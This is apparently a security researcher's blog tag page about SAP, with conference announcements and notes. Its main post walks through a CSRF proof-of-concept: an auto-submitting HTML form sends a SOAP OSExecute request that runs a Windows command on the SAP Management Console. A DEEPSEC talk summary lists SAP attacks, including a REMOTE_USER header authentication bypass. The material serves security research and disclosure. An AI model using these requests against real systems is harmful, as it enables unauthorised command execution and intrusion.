Cатсн²² (in)sесuяitу / ChrisJohnRiley

Because we're damned if we do, and we're damned if we don't!

Tag Archives: sap

ITWeb Security Summit

It’s been a while since I last posted… between a trip to the UK (for BSides London) and a few days in bed with con-flu, it’s been a busy few weeks.

I’m flying out to South Africa this weekend to take part in the ITWeb Security Summit in Johannesburg. There are a lot of great speakers talking, and I was honoured to be asked to present some of my SAP research as part of the “Enterprise Resource Planning” track.

This will be the last time I’ll be presenting this material, so hopefully it will go down well. This research has been ongoing for the last year or so, and it was time to move my focus off onto some other projects I’ve got running. Plus, nobody likes to see research that’s old and busted. The information I’ll be presenting is “out there” for the community, so I’m happy to cover it one last time before I put it to bed. So much hacking, so little time 😉

If you’re attending the conference please come up and say hi… I only bite on request!

The CSRF that almost was…

It’s strange sometimes where your inspiration comes from, but regardless of where, it’s good to be back in the saddle when it comes to really enjoying some research. Some people close to me might already be aware, but I’ve not really been “into it” for a while now, as can be seen by the lack of blog posts or interesting content. Lets hope this is the light at the end of that tunnel (… and that it’s not a train, obviously ;)

So, back to the interesting idea. A lot of the research I did into the SAP Management Console was about what an attacker could do accessing it from the internet, or directly when on the local LAN segment. Although there’s probably a lot more attackers could do with this stuff, the protections that SAP have rolled out should be enough to deter most casual attackers. I’d also looked at what attackers could do to attack client-side, by sitting in the middle and providing a tainted JAVA applet when an administrator comes to load the SAP Management Console… or even forcing Basic Authentication at points before the application requires it. The thing I’d not really done was think about what an attacker could do from the internet without ever actually having access to the SAP Management Console.

Looking back at history a bit, I re-read some posts on using CSRF attacks to change settings on local ADSL routers. The attack isn’t new, and there’s more than a few resources discussing it. However I was interested to see if this sort of attack could be used to perform remote code execution on the SAP Management Console using the OSExecute method. Normally this is an authenticated method, so an attacker would need a username / password, but by using CSRF, this seemed like it could be bypassed if certain conditions were met (i.e. an administrator can be lured to the CSRF page, and they are logged into the SAP MC, or have clicked the “save password” prompt to save time on future logons).

Starting off I needed to find a solution to force a user to perform a POST request, as the SOAP message can’t be sent over GET unfortunately. After a bit or playing and research I stumbled on a post by pentest monkey detailing some work he’d done on the same issue. Using an HTML form containing the contents of the POST request as the name field, it was possible to send the desired request. By adding a JavaScript trigger it was also possible to send the form (and thus the POST request) without user actions. So, all well and good.

<FORM NAME="sap" id="sap" ENCTYPE="text/plain" action="http://server.example.com:50013" method="POST">
<input type="hidden" name='<?xml version="1.0" encoding="utf-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema"><SOAP-ENV:Header><sapsess:Session xlmns:sapsess="http://www.sap.com/webas/630/soap/features/session/"><enableSession>true</enableSession></sapsess:Session></SOAP-ENV:Header><SOAP-ENV:Body><ns1:OSExecute xmlns:ns1="urn:SAPControl"><command>cmd /c echo "wimming" > c:\temp\proof.txt</command><async>0</async></ns1:OSExecute></SOAP-ENV:Body></SOAP-ENV:Envelope>'>

The above FORM includes a complete SOAP request (using the OSExecute method) within the first input name field. In the case of the POC script, the servername is set using a variable passed to the page forming the POST message. The name of the SAP system internally can easily be found using one of the SAP Management Console modules that are now in Metasploit.

To get the form to automatically submit without user interaction, I added the following JavaScript… (tested in Chrome, IE and Firefox)

function myfunc () {
var frm = document.getElementById("sap");
window.onload = myfunc;

The result is a page that forms a valid POST request to the SAP Management Console inside the targets network.

Host: server.example.com:50013
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:6.0.1) Gecko/20100101 Firefox/6.0.1
Referer: http://www.catch22insecurity.com/POC/soap_post.php?servername=server.example.com
Content-Type: text/plain
Content-Length: 575

<?xml version="1.0" encoding="utf-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema"><SOAP-ENV:Header><sapsess:Session xlmns:sapsess="http://www.sap.com/webas/630/soap/features/session/"><enableSession>true</enableSession></sapsess:Session></SOAP-ENV:Header><SOAP-ENV:Body><ns1:OSExecute xmlns:ns1="urn:SAPControl"><command>cmd /c echo "wimming" > c:\temp\proof.txt</command><async>0</async></ns1:OSExecute></SOAP-ENV:Body></SOAP-ENV:Envelope>=

Despite the additional “=” sign being tagged onto the end (as a result of the HTML FORM), the request is valid and will be honored by the SAP Management Console if valid credentials are already saved in the browser being used, or a valid Basic Auth header is present… and THIS is where the “almost was” comes into play.

When testing it became evident that browsers (IE and Firefox at the very least) don’t automate the response of valid credentials when they’re stored in the browsers password store. When the SAP Management Console responds to the target asking for credentials, even if they’re stored in the browser, the user is prompted to click OK on the already filled out username/password box.

Well that’s a pity! … and no change when serving it up over SSL either.

So where does this work?

So as to not totally come out of this a looser, where does (or could) this attack work. Sticking with SAP Management Console there are a few places it could still work well.

  • The obvious –> Admins that click-through anything. If the user accepts (or enters) valid credentials, then the OSExecute will be successful.
  • SAP MC Methods that are not protected –> Anything where a blind request can be sent and an action is performed without requesting credentials. This is limited in SAP, and as no response can be received by the attacker, the scope is limited.
  • Attacks against specific SSO implementations –> Not naming names, but there are more than a few Single Sign On solutions out there that take the place of browser passwords stores (and other password stores). These solutions may act differently when saving a password… I’ve seen implementations that fill in the credentials and submit them without user action.
  • Situations where an SAP Administrator has already performed direct actions against the SAP Management Console through the browser, thus setting a valid Basic Auth token –> Few and far between, as the interaction is mostly through MMC of JAVA applets that do not need to use the browser.
  • Exploit delivery –> There are, and will probably be in the future, valid one request exploits against SAP Management Console. This attack vector would allow these exploits to be delivered as long as no credentials or other user input is required.

Well there it is… The time invested was minimal and as with everything, you learn as you fail… Feel free to take a look at the POC I put up on my site if you want to try it out for yourself. Please don’t abuse it though!

POC .:

SecZone 2011: SAP (in)security Slides

As I said in my previous blogpost, SecZone was a great experience. I took the feedback I got from my Hashdays talk on the same subject and improved on some of the aspects of my talk. Although the changes are minor and no new research content was added, I’ve uploaded the slides to slideshare for those interested.

Thanks to the #DirtySec crew for the feedback! Always room for improvement!

SAP (in)security: Scrubbing SAP clean with SOAP

As usual if you have any feedback or questions… please get in touch!

DEEPSEC: Your crown jewels online: Further Attacks to SAP Web Applications

Your crown jewels online: Further Attacks to SAP Web Applications

Mariano Nunez Di Croce

Introduction to SAP

Largest provider of business management solutions in the world

  • 140,000 implementations
  • > 90,000 customers
  • 120 countries
SAP runs the most critical business process of many companies –> Hence the crown jewels of a company
This talk covers threats to the core and standard SAP applications and doesn’t attempt to cover issues in custom designed applications.

What SAP Security used to be

Traditionally SAP security has come down to segregation of duties. This however offers a false sense of security. SoD are necessary, but are not nearly enough to secure systems of this complexity.
For somebody to exploit segregation of duties the attacker needs access to your SAP system, and a valid account. There are however many issues lower in the stack that could result in non-users exploiting SAP systems.
In 2011 so far, there have been around 700 SAP Security Notes released

The different SAP Web Application Servers

Not uncommon to find multiple internet technologies in use. SAP systems are nowadays often found on the internet

SAP Internet Transaction Server (ITS)

Released in 1996. SAPs first approach to enable internet access to SAP systems

SAP Internet Communication Manager (ICM)

No more middleware == direct access from the internet

ICM Web Server requests are handled by the ICF

SAP Enterprise Portal

Latest technology from SAP

Provide a unique access point to the organizations SAP and non-SAP systems through the Web

Attackers Dream

External attackers are less likely to be caught, but lack the required access to systems.

By putting SAP systems on the internet you’re offering the best of both worlds.

Access to SAP infrastructure from a remote location


through server banners

Hard if it’s running through a reverse proxy

Otherwise various information visible to users through the server headers

through error messages

ITS is prone to very helpful error messages. If you request a resource that doesn’t exist it responds with a lot of useful information.
ICM also exposes the SAP SID information and system numbers
Enterprise Portal provides HTML comments with useful information

Attacks to the ICM

Dangerous ICF Services

There are over 1500 standard ICF services on a typical SAP ECC install
When requesting a service the SAP system will check if it’s public or private.
Private services require authentication (this is the case for most services)

The Info Service

Public ICF service
Provides an XML SOAP response with lots of useful info

An explosive combination

Most services need authentication.
After authentication the SAP system checks for authorization to run the service
  • As most services are not setup with an authorization value, these checks are not made
  • Standard SAP users are therefore a serious issue for SAP systems
  • Attacker can control the mandant remotely
  • The attacker has fair chances of accessing sensitive business functionality through the ICM server

SOAP RFC Service

The RFC protocol is used to call an ABAP function module
As RFC is blocked at the firewall this can’t be done directly.
The SOAP RFC Service offers the ability to perform this same call through an SOAP interface, bypassing the RFC block on the firewall
Multiple function calls can be made include logging off all active users, spamming messages to all users, through to shell on the remote server…
Shell access involved injection commands into an RFC request.

Attacks to secured enterprise portals

Authentication is handled by the Java engine
Many organisation have Web Access Management solutions in place (such as SSO) to improve security or make it easier for corporate users.
There are various vendors offering the ability to integrate their solutions
This integration uses the Header Variables Login module
What happens in an attacker can connect directly to the portal? Can he pretend to the be the authentication proxy?
  • Attacker removes the cookies from a request with no username/password
  • Adds a header called REMOTE_USER: Administrator (or any other desired user)
  • It just lets him in!
Found and noted in 2006 on the SAP forums… not fixed!


Enables post exploitation for SAP Portal (much like PHP, JSP, etc…)
In order to use it, he needs to gain admin access to the portal and deploy the shell in the same way you would with JMX, etc…

Further Attacks

  • Verb tampering attacks –> Work on SAP!
  • Invoker Servlet Detour attacks
  • Lots more unpatched things


  • Lots of SAP systems are online, even if owners think they’re not
  • Attackers chance of being caught are reduced a lot when the system is online
  • Many different kinds of web tech
  • Security of SAP getting better, slowly
  • Always use a reverse proxy in front of your SAP system if it HAS to be on the internet

Links :

  • Your crown jewels online: Further Attacks to SAP Web Applications –> Overview
  • Attacks to SAP Web Applications (Blackhat DC 2011 Slides) –> PDF
  • SAP REMOTE_USER info –> Link